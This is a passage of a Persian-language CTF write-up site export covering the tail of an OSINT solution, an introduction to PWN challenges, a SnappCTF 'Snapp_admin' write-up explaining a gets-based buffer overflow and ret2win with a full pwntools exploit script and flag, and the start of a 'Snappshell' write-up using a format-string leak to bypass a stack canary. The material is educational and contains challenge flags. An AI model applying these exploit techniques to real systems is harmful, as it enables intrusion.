\u067e\u0633 \u0628\u0627 \u0646\u06af\u0627\u0647 \u06a9\u0631\u062f\u0646 \u0628\u0647 \u0645\u0648\u0642\u0639\u06cc\u062a \u0647\u0631 \u0639\u06a9\u0633 \u0646\u0632\u062f\u06cc\u06a9\u200c\u062a\u0631\u06cc\u0646 \u0645\u06a9\u0627\u0646 \u0628\u0647 \u0627\u06cc\u0633\u062a\u06af\u0627\u0647 \u0622\u062a\u0634\u200c\u0646\u0634\u0627\u0646\u06cc \u0631\u0648 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645.

FLAG

wctf{51.0911, -113.9561}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["wctf","wctf-2024","Osint","image location","flickr","google map"]},{"location":"pwn/","title":"PWN","text":"

\u062e\u0628 \u062d\u0627\u0644\u0627 \u0628\u0631\u06cc\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0627\u0635\u0644\u0627 PWN \u06cc\u0639\u0646\u06cc \u0686\u06cc \u0648 \u0647\u0645\u0686\u06cc\u0646 \u06a9\u0644\u0645\u0647 \u0627\u06cc \u0627\u0632 \u06a9\u062c\u0627 \u0645\u06cc\u0627\u062f \u061f!

\u06a9\u0644\u0645\u0647 PWN \u062a\u0648\u06cc \u062f\u06cc\u06a9\u0634\u0646\u0631\u06cc \u0628\u0647 \u0645\u0639\u0646\u06cc \u0634\u06a9\u0633\u062a \u062f\u0627\u062f\u0646 \u06cc\u0627 \u0628\u0647 \u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0633\u06cc \u06cc\u0627 \u06cc\u06a9 \u0686\u06cc\u0632\u06cc \u0647\u0633\u062a \u0648 \u062f\u0631 \u0648\u0627\u0642\u0639 \u06cc\u06a9 \u0648\u0627\u0698\u0647 \u0627\u06cc \u0647\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0637\u0648\u0644 \u0632\u0645\u0627\u0646 \u062a\u0648\u0633\u0637 \u0647\u06a9\u0631\u0647\u0627 \u0648 \u0628\u0639\u0636\u0627 \u06af\u06cc\u0645\u0631\u0647\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f. \u0627\u06af\u0631 \u062f\u0642\u062a \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646 \u0628\u0647 \u06a9\u06cc\u0628\u0648\u0631\u062f\u062a\u0648\u0646 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u062f \u06a9\u0647 \u062f\u0648 \u062d\u0631\u0641 P \u0648 O \u062a\u0648\u06cc \u0686\u06cc\u0646\u0634 QWERTY \u062f\u0631\u06a9\u0646\u0627\u0631 \u0647\u0645\u062f\u06cc\u06af\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0646 \u0648 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0645\u06cc\u062f\u0648\u0646\u06cc\u0646 \u06a9\u0647 \u0686\u06cc \u0645\u06cc\u062e\u0648\u0627\u0645 \u0628\u06af\u0645 \u062d\u0627\u0644\u0627!

\u0628\u0644\u0647 \u062f\u0642\u06cc\u0642\u0627! \u06a9\u0644\u0645\u0647 PWN \u0628\u0647 \u062e\u0627\u0637\u0631 \u06cc \u063a\u0644\u0637 \u0627\u0645\u0644\u0627\u06cc\u06cc \u062f\u0631 \u067e\u06cc \u0646\u0648\u0634\u062a\u0646 \u06a9\u0644\u0645\u0647 OWN \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f \u0648 \u0628\u0647 \u0647\u0645\u06cc\u0646 \u062e\u0627\u0637\u0631\u0647 \u06a9\u0647 \u0634\u0645\u0627 \u0648\u0642\u062a\u06cc PWN \u0631\u0648 \u06af\u0648\u06af\u0644 \u0645\u06cc\u06a9\u0646\u06cc\u062f \u0627\u063a\u0644\u0628 \u0645\u06cc\u06af\u0646 \u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0644\u0645\u0647 \u0645\u062b\u0644 OWN \u062a\u0644\u0641\u0638 \u0645\u06cc\u0634\u0647 \u06cc\u0627 \u0645\u0639\u0646\u06cc \u0627\u0634 \u0645\u06cc\u0634\u0647 \u062a\u0635\u0627\u062d\u0628 \u06a9\u0631\u062f\u0646 \u0686\u06cc\u0632\u06cc \u0648 \u0627\u0632 \u0627\u06cc\u0646 \u062d\u0631\u0641\u0627!

\u062a\u0648\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0647\u0645 \u0627\u06af\u0647 \u06a9\u0647 \u067e\u0644\u06cc \u062f\u0627\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646 \u06cc\u0627 \u062d\u062f\u0627\u0642\u0644 \u067e\u06cc\u0634 \u062f\u0648\u0633\u062a\u0627\u062a\u0648\u0646 \u06cc \u0686\u06cc\u0632\u0627\u06cc\u06cc \u062f\u06cc\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u06cc\u0646 \u06a9\u0647 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u06cc\u0627... \u0631\u0648 \u0628\u0647 \u0634\u0645\u0627 \u0645\u06cc\u062f\u0646 \u0648 \u0627\u0632\u062a\u0648\u0646 \u0645\u06cc\u062e\u0648\u0627\u0646 \u06a9\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f \u062a\u0627 \u0628\u062a\u0648\u0646\u06cc\u062f \u0628\u0627\u0647\u0627\u0634 \u0633\u0631\u0648\u0631\u06cc \u06a9\u0647 \u0622\u06cc\u200c\u067e\u06cc \u0648 \u067e\u0648\u0631\u062a \u0627\u0634 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631\u062a\u0648\u0646 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0631\u0648 \u062a\u0635\u0627\u062d\u0628 \u06a9\u0646\u06cc\u062f \u0648 \u06cc\u06a9 FLAG \u0631\u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u0647 \u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0646.

\u067e\u0633 \u062f\u0627\u0634\u062a\u0646 \u062f\u0627\u0646\u0634 \u062a\u0648\u06cc \u062d\u0648\u0632\u0647 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0648 \u0632\u0628\u0627\u0646 \u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc \u0645\u062b\u0644 Assembly \u0648 C \u0648 CPP \u0648 \u0645\u0634\u0627\u0628\u0647\u060c \u0645\u06cc\u062a\u0648\u0646\u0647 \u062f\u0631 \u0645\u0648\u0641\u062a\u06cc\u062a \u0634\u0645\u0627 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0645\u0633\u06cc\u0631 \u062e\u06cc\u0644\u06cc \u06a9\u0645\u06a9 \u06a9\u0646\u0646\u062f\u0647 \u0648 \u0645\u0647\u0645 \u0628\u0627\u0634\u0647!

\u06cc\u06a9\u06cc \u0627\u0632 \u0627\u0647\u062f\u0627\u0641 \u0645\u0647\u0645\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u062a\u0648\u06cc CTF \u0647\u0627 \u062f\u0627\u0631\u0647 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0628\u062a\u0648\u0646\u0647 \u0628\u0647 \u0634\u0645\u0627 Secure Coding \u0631\u0648 \u06cc\u0627\u062f \u0628\u062f\u0647!

\u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u0627\u0632 \u0645\u0647\u0627\u0631\u062a \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u062f \u062f\u0631 \u062a\u0648\u0633\u0639\u0647 Exploit \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.

"},{"location":"pwn/writeups/SnappCTF/Snapp_admin/","title":"Snapp_admin","text":"

\u0633\u0644\u0627\u0645 \u06af\u0627\u06cc\u0632\u0632\u0632 \u0686\u0637\u0648\u0631 \u0645\u0637\u0648\u0631\u06cc\u0627\u06cc\u06cc\u0646\u061f \u062e\u0628 \u0628\u0631\u06cc\u0645 \u0628\u0627 \u06cc \u0686\u0644\u0646\u062c \u062f\u06cc\u06af\u0647 \u0627\u0632 SnappCTF \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0686\u06cc\u062e\u0628\u0631\u0627\u0633\u062a\u061f! :) \u062f\u0631 \u0627\u0628\u062a\u062f\u0627\u06cc \u06a9\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 checksec \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u062f\u0627\u0631\u0627\u06cc Stack Canary \u0648 PIE \u0646\u06cc\u0633\u062a.

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0627 ghidra \u06cc\u06a9 \u0628\u0631\u0631\u0633\u06cc \u0631\u0648\u06cc \u062a\u0648\u0627\u0628\u0639 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0648 \u0628\u0627 \u0686\u0646\u06cc\u0646 \u0635\u062d\u0646\u0647 \u0627\u06cc \u0645\u0648\u0627\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645(\u0642\u0633\u0645\u062a \u0647\u0627\u06cc\u0644\u0627\u06cc\u062a \u0634\u062f\u0647) :

\u0648\u062c\u0648\u062f \u062a\u0627\u0628\u0639 gets \u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u0627 \u0631\u0648 \u0628\u0647 \u0627\u06cc\u0646 \u0633\u0645\u062a \u0647\u062f\u0627\u06cc\u062a \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc BufferOverflow \u0631\u0648 \u062f\u0627\u0631\u0647. \u0627\u0632 \u0637\u0631\u0641\u06cc \u0648\u062c\u0648\u062f \u062a\u0627\u0628\u0639 is_admin \u062a\u0627\u06cc\u06cc\u062f\u06cc \u0647\u0633\u062a \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0627\u0632 \u062a\u06a9\u0646\u06cc\u06a9 ret2win \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645.

\u0628\u0647 \u0637\u0648\u0631 \u062e\u0644\u0627\u0635\u0647 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062f\u0631 \u0627\u06cc\u0646 \u062a\u06a9\u0646\u06cc\u06a9 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u0634\u0647 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 return pointer \u06cc\u0627 EIP(rip) \u0631\u0648 overwrite \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0647 \u0633\u0645\u062a \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u062f\u0644\u062e\u0648\u0627\u0647 \u062a\u0627 \u067e\u0633 \u0627\u0632 \u0627\u062a\u0645\u0627\u0645 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u0628\u0647 \u062c\u0627\u06cc \u0628\u0631\u06af\u0634\u062a \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0647 \u0645\u0633\u06cc\u0631 \u0648 \u0631\u0648\u0646\u062f \u0627\u0635\u0644\u06cc \u062e\u0648\u062f\u060c \u0628\u0647 \u0633\u0645\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0645\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0633\u06cc\u0631 \u062f\u0647\u062f \u0648 \u062a\u0627\u0628\u0639 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0645\u0627 \u0627\u062c\u0631\u0627 \u0634\u0648\u062f. \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0648 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0646\u06cc\u0627\u0632 \u0647\u0633\u062a \u06a9\u0647 \u0628\u062f\u0648\u0646\u06cc\u0645 offset \u0645\u0627 \u06a9\u062c\u0627\u0633\u062a \u0648 \u062f\u0631\u0648\u0627\u0642\u0639 \u062f\u0631 \u06a9\u062c\u0627\u06cc \u0627\u0633\u062a\u06a9 \u0647\u0633\u062a \u06a9\u0647 rip \u0627\u0632 \u0627\u0648\u0646\u062c\u0627 \u0634\u0631\u0648\u0639 \u0645\u06cc\u0634\u0647 \u0648 \u0628\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc (Overwrite) \u06a9\u0631\u062f\u0646 \u0627\u0648\u0646 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 \u0647\u062f\u0641\u0645\u0648\u0646 \u0628\u0631\u0633\u06cc\u0645. \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0647 \u062a\u0627\u0628\u0639 gets \u0628\u0631\u0633\u06cc\u0645 \u062e\u06cc\u0644\u06cc \u0648\u0627\u0636\u062d \u0647\u0633\u062a \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0627\u0648\u0644\u06cc\u0646 \u0648\u0631\u0648\u062f\u06cc \u06a9\u0647 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc\u062f\u06cc\u0645 \u0628\u0627\u06cc\u062f \u0639\u062f\u062f 9606 \u0628\u0627\u0634\u0647 \u062a\u0627 \u0628\u062a\u0648\u0646\u06cc\u0645 \u0648\u0627\u0631\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0628\u0644\u0648\u06a9 if \u0628\u0634\u06cc\u0645 \u0648 \u062a\u0627\u0628\u0639 gets \u0627\u0632 \u0645\u0627 \u0648\u0631\u0648\u062f\u06cc \u0628\u0639\u062f\u06cc \u0631\u0648 \u0628\u06af\u06cc\u0631\u0647. \u062e\u06cc\u0644\u06cc \u0631\u0627\u062d\u062a \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u0645 \u062a\u0627 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062a\u0648\u06cc gdb \u0628\u0627\u0632\u0634 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0645\u062b\u0644 pattern create \u0648 pattern search \u0628\u0647 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 offset \u0647\u0627 \u0645\u06cc\u067e\u0631\u062f\u0627\u0632\u06cc\u0645. \u0644\u06cc\u0646\u06a9 \u0632\u06cc\u0631 \u0628\u0647\u062a\u0631 \u0645\u06cc\u062a\u0648\u0646\u0647 \u0634\u0645\u0627 \u0631\u0648 \u062f\u0631 \u0627\u06cc\u0646 \u0628\u0627\u0631\u0647 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc \u06a9\u0646\u0647 :

Pattern

\u0628\u0639\u062f \u0627\u0632 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 offset \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 \u062a\u0627\u0628\u0639\u06cc \u06a9\u0647 \u0642\u0635\u062f \u062f\u0627\u0631\u06cc\u0645 \u062a\u0627 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u0647 \u0633\u0645\u062a \u0627\u0648\u0646 ret \u06a9\u0646\u06cc\u0645 \u0631\u0648 \u062f\u0631 payload \u062e\u0648\u062f\u0645\u0648\u0646 \u0628\u0630\u0627\u0631\u06cc\u0645 \u0648 \u0627\u0648\u0646 \u0631\u0648 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u062f\u06cc\u0645. \u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0622\u062f\u0631\u0633 \u062a\u0627\u0628\u0639 is_admin \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645:

readelf -s snapp_admin | grep -i is_admin

\u06cc\u0627 \u062a\u0648\u06cc gdb \u0627\u0632 \u062f\u0633\u062a\u0648\u0631 info functions \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645. \u0628\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 offset \u0648 \u0622\u062f\u0631\u0633 \u062a\u0627\u0628\u0639 is_admin \u0648 \u0628\u0647 \u06a9\u0627\u0631 \u06af\u0631\u0641\u062a\u0646 pwntools \u062d\u0627\u0644\u0627 \u062e\u06cc\u0644\u06cc \u0631\u0627\u062d\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 is_admin \u0628\u0631\u0633\u06cc\u0645. \u062a\u0646\u0647\u0627 \u0642\u062f\u0645\u06cc \u06a9\u0647 \u0645\u06cc\u0645\u0648\u0646\u0647 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0645\u0627 \u0628\u0639\u062f \u0627\u0632 \u0648\u0631\u0648\u062f \u0628\u0647 \u062a\u0627\u0628\u0639 is_admin \u0628\u0627\u06cc\u062f \u062f\u0648 \u0645\u0642\u062f\u0627\u0631 \u062f\u06cc\u06af\u0647 \u0631\u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0648\u0631\u0648\u062f\u06cc \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u062f\u06cc\u0645 \u062a\u0627 \u0641\u0644\u06af \u0628\u0631\u0627\u0645\u0648\u0646 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0628\u0634\u0647. \u0627\u0648\u0644\u06cc\u0646 \u0645\u0642\u062f\u0627\u0631\u06cc \u06a9\u0647 \u0628\u0639\u062f \u0627\u0632 \u0648\u0631\u0648\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc\u062f\u06cc\u0645 \u0628\u0627\u06cc\u062f 9600 \u0628\u0627\u0634\u0647. \u0686\u0631\u0627 \u06a9\u0647 \u062a\u0627\u0628\u0639 read \u062a\u0646\u0647\u0627 \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0627\u0648\u0644\u06cc\u0646 \u0622\u0631\u06af\u0648\u0645\u0627\u0646\u0634 \u0635\u0641\u0631 \u0628\u0627\u0634\u0647 \u0645\u06cc\u0627\u062f \u0627\u0632\u0645\u0627 \u0648\u0631\u0648\u062f\u06cc \u0628\u0639\u062f\u06cc \u0631\u0648 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0645\u0627 \u0628\u0647 \u06af\u0631\u0641\u062a\u0646 \u0648\u0631\u0648\u062f\u06cc \u0628\u0639\u062f\u06cc \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u0645 \u0686\u0631\u0627 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0631\u0648\u0646 \u0628\u0644\u0648\u06a9 if \u0627\u062c\u0631\u0627 \u0634\u0648\u0646\u062f \u06a9\u0647 \u0634\u0627\u0645\u0644 \u062f\u0633\u062a\u0648\u0631 \u0646\u0645\u0627\u06cc\u0634 \u0641\u0644\u06af \u0647\u0645 \u0647\u0633\u062a. \u062f\u0631 \u0622\u062e\u0631\u06cc\u0646 \u0642\u0633\u0645\u062a \u0645\u0627\u062c\u0631\u0627 \u0647\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0632 \u0645\u0627 \u0648\u0631\u0648\u062f\u06cc \u0686\u0647\u0627\u0631\u0645 \u0631\u0648 \u06a9\u0647 SNAPP \u0647\u0633\u062a \u0631\u0648 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u062a\u0645\u0627\u0645!

\u0648 \u062f\u0631 \u0622\u062e\u0631 exploit \u0646\u0647\u0627\u06cc\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 :

from pwn import *\n\ncontext.log_level = \"critical\"\n# ncat --proxy-type socks5 --proxy 127.0.0.1:2080 91.107.177.236 1337\n# context.proxy = (socks.SOCKS4, \"127.0.0.1\", 2080)\n\ndef run(i):\n    p = remote('91.107.177.236', 1337)\n    p.sendline(b'9606')\n    p.sendline(b'a'*i + p64(0x40101a) + p64(0x00401296))\n    p.sendline(b'9600')\n    p.sendline(b'SNAPP')\n    if 'SNAPP{' in (res:=p.clean(2).decode()):\n        print(f\"[!] offset={i}\\n{res}\")\n\nfor i in range(8, 16):\n    run(i*4)\n

FLAG

SNAPP{Wh3Re_is_@dm1n_I_f0rgoT_my_cOd3}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

nim0x2a

","tags":["SnappCTF","SnappCTF-2024","PWN","Exploit","GDB","Pwntools","BufferOverflow"]},{"location":"pwn/writeups/SnappCTF/Snappshell/","title":"Snappshell","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0641\u0634\u0631\u062f\u0647 \u0631\u0648 \u0628\u0647 \u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u06a9\u0647 \u0634\u0627\u0645\u0644 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0648 \u06cc\u06a9 Dockerfile \u0647\u0633\u062a. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u062f\u0633\u062a\u0648\u0631 checksec \u0628\u0627 \u0686\u0646\u06cc\u0646 \u062a\u0635\u0648\u06cc\u0631 \u062a\u0631\u0633\u0646\u0627\u06a9\u06cc \u0631\u0648 \u0628\u0647 \u0631\u0648 \u0645\u06cc\u0634\u06cc\u0645! :)

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0648 \u0628\u0627 gdb \u0648 ghidra \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0647\u06cc\u0686 \u062a\u0627\u0628\u0639\u06cc \u0628\u0631\u0627\u06cc ret2win \u06a9\u0631\u062f\u0646 \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u0647 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 NX \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0634\u0644 \u06af\u0631\u0641\u062a\u0646 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0633\u062a \u0648\u0644\u06cc \u062e\u0628 \u0686\u0637\u0648\u0631\u06cc \u0628\u0627\u06cc\u062f \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0648 \u06a9\u0631\u062f\u061f! \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u0647\u062f\u0641\u0645\u0648\u0646 \u062f\u0633\u062a \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u0646\u06cc\u0627\u0632\u0647 \u062a\u0627 \u0627\u0632 \u062a\u06a9\u0646\u06cc\u06a9 ROP \u0628\u0631\u0627\u06cc \u062f\u0648\u0631 \u0632\u062f\u0646 NX \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645. \u06cc\u06a9\u06cc \u0627\u0632 \u0645\u0648\u0627\u0646\u0639 \u0633\u0631 \u0631\u0627\u0647 \u0647\u0645\u0648\u0646\u0637\u0648\u0631\u06cc \u06a9\u0647 \u062a\u0648\u06cc \u0639\u06a9\u0633 \u0628\u0627\u0644\u0627 \u0647\u0645 \u067e\u06cc\u062f\u0627\u0633\u062a \u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 \u06cc\u06a9 \u0645\u06a9\u0627\u0646\u06cc\u0633\u0645 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u06cc\u06af\u0647 \u0628\u0647 \u0627\u0633\u0645 Stack Canary \u0647\u0633\u062a. \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u06cc\u06a9 \u0642\u062f\u0645 \u0631\u0648 \u0628\u0647 \u062c\u0644\u0648 \u062d\u0631\u06a9\u062a \u06a9\u0646\u06cc\u0645 \u0627\u0648\u0644 \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 Canary \u0631\u0648 \u062f\u0648\u0631 \u0628\u0632\u0646\u06cc\u0645. \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u0627\u0628\u0639 \u0628\u0647 \u06a9\u0627\u0631 \u0631\u0641\u062a\u0647 \u062a\u0648\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u0642\u06cc\u0642 \u062a\u0631 \u0628\u0627 ghidra \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0686\u0634\u0645\u0645\u0648\u0646 \u0628\u0647 \u062a\u0627\u0628\u0639 printf \u0627\u06cc \u0645\u06cc\u0648\u0641\u062a\u0647 (\u062a\u0648\u06cc \u062a\u0627\u0628\u0639 echo \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0647\u0627\u06cc\u0644\u0627\u062a\u0634 \u06a9\u0631\u062f\u0645 \u062a\u0648\u06cc \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631) \u06a9\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc Format String \u0631\u0648 \u062f\u0627\u0631\u0647 \u0648 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u0627\u06cc\u0646 \u0637\u0631\u06cc\u0642 \u0628\u0647 \u0645\u0642\u062f\u0627\u0631 cookie \u0648... \u06a9\u0647 \u062a\u0648\u06cc \u0627\u0633\u062a\u06a9 \u0645\u0648\u062c\u0648\u062f \u0647\u0633\u062a\u0646 \u062f\u0633\u062a \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645.

\u0628\u0639\u062f \u0627\u0632 \u06a9\u0644\u06cc \u0633\u0631 \u0648 \u06a9\u0644\u0647 \u0632\u062f\u0646 \u0628\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc (\u0648 \u06cc\u0627 \u062e\u0648\u062f\u06a9\u0627\u0631 \u06a9\u0631\u062f\u0646 \u0631\u0648\u0646\u062f\u0634 \u0628\u0627 \u06cc\u06a9 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0627\u062f\u0647) \u0628\u0647 \u06cc \u0647\u0645\u0686\u06cc\u0646 \u0633\u0627\u062e\u062a\u0627\u0631\u06cc \u0645\u06cc\u0631\u0633\u06cc\u0645.

%31$p

\u0628\u0627 \u0641\u0631\u0633\u062a\u0627\u062f\u0646 \u06cc\u06a9 \u0647\u0645\u0686\u06cc\u0646 \u0627\u0633\u062a\u0631\u06cc\u0646\u06af\u06cc \u0628\u0647 \u0633\u0645\u062a \u062a\u0627\u0628\u0639 echo \u0628\u0631\u0646\u0627\u0645\u0647 \u060c \u062e\u06cc\u0644\u06cc \u0631\u0627\u062d\u062a \u0645\u0642\u062f\u0627\u0631 cookie \u0631\u0648 \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645.

